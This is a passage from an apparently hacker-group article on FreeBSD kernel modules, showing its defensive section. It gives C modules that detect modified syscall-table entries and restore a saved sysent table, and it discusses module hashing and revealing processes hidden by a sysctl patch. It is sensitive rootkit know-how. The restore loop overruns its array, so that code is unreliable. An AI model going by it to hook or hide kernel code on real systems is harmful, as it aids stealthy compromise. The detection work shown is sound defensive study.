  3588. if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1;
  3589. if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1;
  3590. if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1;
  3591. if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1;
  3592. if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1;
  3593. if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1;
  3594. if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1;
  3595. if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
  3596. if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
  3597. if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
  3598. if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1;
  3599. if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1;
  3600. if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1;
  3601. if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1;
  3602. if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1;
  3603. if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1;
  3604. if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
  3605. if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
  3606. if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1;
  3607. if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1;
  3608. if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1;
  3609. if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1;
  3610. if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1;
  3611. if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1;
  3612. if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1;
  3613. if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1;
  3614. if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1;
  3615. if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1;
  3616. if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1;
  3617. if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1;
  3618. if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1;
  3619. if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1;
  3620. if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1;
  3621. if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1;
  3622. if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1;
  3623. if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1;
  3624. if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1;
  3625. if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1;
  3626. if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1;
  3627. if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
  3628. if (sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1;
  3629. if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1;
  3630. if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1;
  3631. if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1;
  3632. if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1;
  3633. if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1;
  3634. if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1;
  3635. if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1;
  3636. if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1;
  3637. if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1;
  3638. if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1;
  3639. if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1;
  3640. if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1;
  3641. if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1;
  3642. if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1;
  3643. if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1;
  3644. if (sysent[SYS_getdtablesize].sy_call!=getdtablesize)
  3645. error[SYS_getdtablesize]=1;
  3646. if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1;
  3647. if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1;
  3648. if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1;
  3649. if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1;
  3650. if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1;
  3651. if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1;
  3652. if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1;
  3653. if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
  3654. if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1;
  3655. if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
  3656. if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1;
  3657. if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1;
  3658. if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1;
  3659. if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1;
  3660. if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1;
  3661. if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1;
  3662. if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
  3663. if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1;
  3664. if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1;
  3665. if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1;
  3666. if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1;
  3667. if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1;
  3668. if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
  3669. if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1;
  3670. if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1;
  3671. if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1;
  3672. if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
  3673. if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
  3674. if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1;
  3675. if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1;
  3676. if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1;
  3677. if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1;
  3678. if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1;
  3679. if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1;
  3680. if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1;
  3681. if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1;
  3682. if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1;
  3683. if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
  3684. if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
  3685. if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
  3686. if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1;
  3687. if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1;
  3688. if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1;
  3689. if (sysent[SYS_getdomainname].sy_call!=getdomainname)
  3690. error[SYS_getdomainname]=1;
  3691. if (sysent[SYS_setdomainname].sy_call!=setdomainname)
  3692. error[SYS_setdomainname]=1;
  3693. if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1;
  3694. if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1;
  3695. if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1;
  3696. if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1;
  3697. if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1;
  3698. if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1;
  3699. if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1;
  3700. if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1;
  3701. if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1;
  3702. if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
  3703. if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
  3704. if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
  3705. if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1;
  3706. if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1;
  3707. if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
  3708. if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
  3709. if (sysent[SYS_getdirentries].sy_call!=getdirentries)
  3710. error[SYS_getdirentries]=1;
  3711. if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1;
  3712. if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
  3713. if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
  3714. if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
  3715. if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1;
  3716. if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1;
  3717. if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1;
  3718. if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1;
  3719. if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1;
  3720. if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1;
  3721. if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1;
  3722. if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1;
  3723. if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1;
  3724. if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1;
  3725. if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1;
  3726. if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1;
  3727. if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1;
  3728. if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1;
  3729. if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1;
  3730. if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1;
  3731. if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1;
  3732. if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1;
  3733. if (sysent[SYS_clock_gettime].sy_call!=clock_gettime)
  3734. error[SYS_clock_gettime]=1;
  3735. if (sysent[SYS_clock_settime].sy_call!=clock_settime)
  3736. error[SYS_clock_settime]=1;
  3737. if (sysent[SYS_clock_getres].sy_call!=clock_getres)
  3738. error[SYS_clock_getres]=1;
  3739. if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1;
  3740. if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1;
  3741. if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1;
  3742. if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll)
  3743. error[SYS_openbsd_poll]=1;
  3744. if (sysent[SYS_issetugid].sy_call!=issetugid)
  3745. error[SYS_issetugid]=1;
  3746. if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1;
  3747. if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1;
  3748. if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1;
  3749. if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1;
  3750. if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1;
  3751. if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1;
  3752. if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1;
  3753. if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1;
  3754. if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1;
  3755. if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1;
  3756. if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1;
  3757. if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1;
  3758. if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1;
  3759. if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1;
  3760. if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1;
  3761. if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1;
  3762. if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1;
  3763. if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1;
  3764. if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1;
  3765. if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1;
  3766. if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1;
  3767. if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1;
  3768. if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1;
  3769. if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1;
  3770. if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1;
  3771. if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1;
  3772. if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1;
  3773. if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1;
  3774. if (sysent[SYS_sched_setparam].sy_call!=sched_setparam)
  3775. error[SYS_sched_setparam]=1;
  3776. if (sysent[SYS_sched_getparam].sy_call!=sched_getparam)
  3777. error[SYS_sched_getparam]=1;
  3778. if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler)
  3779. error[SYS_sched_setscheduler]=1;
  3780. if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler)
  3781. error[SYS_sched_getscheduler]=1;
  3782. if (sysent[SYS_sched_yield].sy_call!=sched_yield)
  3783. error[SYS_sched_yield]=1;
  3784. if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max)
  3785. error[SYS_sched_get_priority_max]=1;
  3786. if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min)
  3787. error[SYS_sched_get_priority_min]=1;
  3788. if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval)
  3789. error[SYS_sched_rr_get_interval]=1;
  3790. if (sysent[SYS_utrace].sy_call!=utrace)
  3791. error[SYS_utrace]=1;
  3792. if (sysent[SYS_sendfile].sy_call!=sendfile)
  3793. error[SYS_sendfile]=1;
  3794. if (sysent[SYS_kldsym].sy_call!=kldsym)
  3795. error[SYS_kldsym]=1;
  3796. printf("RESULTS : Modified System Calls \n\n");
  3797. printf("number new-addr\n");
  3798. printf("------ --------\n");
  3799. for (counter=0; counter <=399; counter++)
  3800. if (error[counter]==1)
  3801. printf("%d %p\n", counter, sysent[counter].sy_call);
  3802. return 0;
  3803. }
  3804. static moduledata_t syscall_mod = {
  3805. "SysentChecker",
  3806. dummy_handler,
  3807. NULL
  3808. };
  3809. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  3810. </xmp>
  3811. Nice code, isn't it :). Well I did not have the time, to write a nice wrapper.
  3812. So this is just the plain idea filled in a module. <br>
  3813. The idea : Every system call entry (sysent) has a function member (sy_call) as
  3814. you know. In order to modify or intercept a system call a hacker has to change
  3815. this address pointing to his own function. So we only have to check these
  3816. addreesses against the system functions (like write for the SYS_write system
  3817. call) to check the system.<br>
  3818. Average hackers will be stopped with this way of checking system
  3819. integrity, gurus won't (you can insert code without changing the system call
  3820. table, I'm working on this at the moment -> look for further releases).
  3821. <p>
  3822. <H3><A NAME="III.2."></A>2. How to restore old system calls</h3>
  3823. <p>
  3824. After detecting a changed system call table it is a good idea to restore the
  3825. original one. <br>
  3826. I dont't present you the best solution : Start a module on system startup,
  3827. copy all sysent fields into another sysent array. If you want to restore every
  3828. sysent just copy the saved list to the modified sysent list.
  3829. <xmp>
  3830. #include <sys/types.h>
  3831. #include <sys/param.h>
  3832. #include <sys/proc.h>
  3833. #include <sys/module.h>
  3834. #include <sys/sysent.h>
  3835. #include <sys/kernel.h>
  3836. #include <sys/systm.h>
  3837. #include <sys/linker.h>
  3838. #include <sys/sysproto.h>
  3839. #include <sys/sysent.h>
  3840. #include <sys/proc.h>
  3841. #include <sys/syscall.h>
  3842. #include <sys/file.h>
  3843. #include <sys/malloc.h>
  3844. #include <sys/types.h>
  3845. #include <sys/lock.h>
  3846. #define MAX_SYSCALL_NUM 337
  3847. struct sysent save_sysent[MAX_SYSCALL_NUM];
  3848. void restoresys(struct proc *p)
  3849. {
  3850. int counter;
  3851. printf("RESTORE\n");
  3852. for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
  3853. sysent[counter]=save_sysent[counter];
  3854. }
  3855. static struct sysent restoresys_sysent = {
  3856. 0,
  3857. restoresys
  3858. };
  3859. /*
  3860. * The function called at load/unload.
  3861. */
  3862. static int
  3863. dummy_handler (struct module *module, int cmd, void *arg)
  3864. {
  3865. int counter;
  3866. if (cmd==MOD_LOAD)
  3867. { for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
  3868. save_sysent[counter]=sysent[counter];
  3869. sysent[210]=restoresys_sysent;
  3870. }
  3871. return 0;
  3872. }
  3873. static moduledata_t syscall_mod = {
  3874. "SysentRestore",
  3875. dummy_handler,
  3876. NULL
  3877. };
  3878. DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  3879. </xmp>
  3880. This module should be loaded at system startup (the best would be loading it
  3881. before the first connect to the 'hostile' net). Of course, you should add
  3882. hiding features to this module. This will also prevent hackers from easily
  3883. manipulate your own sysent restore list.
  3884. <p>
  3885. <H3><A NAME="III.3."></A>3. General ideas for using MD5 Hashes </h3>
  3886. <p>
  3887. Ok the latter two sections explained how to detect and repair the damage any
  3888. hostile module could do, but what about prevention.
  3889. My Linux article used a passworded createmodule() system call. This time
  3890. you could catch kldload() in order to check the module. Note : I'm not sure
  3891. at the moment, but I think catching this system call is not enough, I think
  3892. it's possible to load a module without the kldstuff; just an idea.<br>
  3893. This time we could use a MD5 hash (digest). The function (macros) we need are
  3894. explained in the MD5 man page (section 9). Take a look at those function and
  3895. you'll recognize how easy it is to implement. These macros help us to get a
  3896. digest on a module someone wants to load on our system. You only have to hard
  3897. code some hashes into your kernel for checking the loaded ones. The rest
  3898. should be clear.
  3899. <p>
  3900. <H3><A NAME="III.4."></A>4. How to see a hidden process</h3>
  3901. <p>
  3902. As I said in part I of this paper every process is saved in the allproc
  3903. list which consists of lots of proc structure each holding one process running
  3904. on the system. I also said that it's impossible to delete a process from thist
  3905. list (scheduling, timing, etc.) so we patched the sysctl system call to hide a
  3906. certain process. <br>
  3907. This means that we could write some kernel code (module) which will print the
  3908. whole allproc list including the process to hide. The code for this module
  3909. was already shown in I.7.1.
  3910. <p>
  3911. <H3><A NAME="III.5."></A>5. Last words</h3>
  3912. <p>
  3913. Every idea mentioned in this part will stop most (!!) attacks on your system
  3914. via kernel modules. Of course, you have to handle things like reboots etc. for
  3915. making everything a bit more secure.<br>
  3916. BUT any person who really knows the kernel and the system will easily work
  3917. around those protections schemes... Bear in mind : It's always harder to
  3918. secure a system than to hack it.
  3919. <p>
  3920. <H3><A NAME="IV."></A>IV. Last things to mention</h3>
  3921. <p>
  3922. <p>
  3923. <H3><A NAME="IV.1."></A>1. What about OpenBSD and NetBSD</h3>
  3924. <p>
  3925. At the moment I have no running OpenBSD or NetBSD system, but I took a very
  3926. brief look at the OpenBSD kernel. It uses the LKM scheme FreeBSD also used in
  3927. former releases. The rest of the kernel is very similar to FreeBSD, so I think
  3928. there should be no big problems porting the modules in this text to OpenBSD or
  3929. NetBSD. THC will work on this, but I really can't tell when we are finished...
  3930. <p>
  3931. <H3><A NAME="IV.2."></A>2. Resources</h3>
  3932. <p>
  3933. <p>
  3934. <b>[Internet]</b>
  3935. <p>
  3936. http://www.freebsd.org : everything you need<br>
  3937. http://www.thc.org : THC Homepage (Linux LKM article and lots of more!)<br>
  3938. <p>
  3939. <p>
  3940. <b>[books]</b>
  3941. <p>
  3942. 'The Design and Implementation of the 4.4BSD Operating System' (Addison
  3943. Wesley) : One of the best books I know, a bit old but still useful.
  3944. <p>
  3945. <H3><A NAME="IV.3."></A>3. Greetings</h3>
  3946. <p>
  3947. <i>groups</i> :<br>
  3948. <b>THC, ADM, ech0, deep, CCC</b><br>
  3949. <p>
  3950. <i>personal</i> : <br>
  3951. <b>van Hauser</b><br>
  3952. -> thanks for the idea to write this article; and for answering lots of
  3953. questions :)<br>
  3954. <b>Stealth</b><br>
  3955. -> I got your mails :) ext2 fs text is really nice<br>
  3956. <b>mindmaniac</b><br>
  3957. -> again a big thanks for starting the whole thing...<br>
  3958. <b>Solar Designer</b><br>
  3959. -> there's only one word for you : *ELITE*. The next release will deal with the
  3960. other kernel stuff, perhaps I'll need some help ;)<br>
  3961. <b>Aleph1</b><br>
  3962. -> what would the world be without bugtraq<br>
  3963. </BODY>
  3964. </HTML>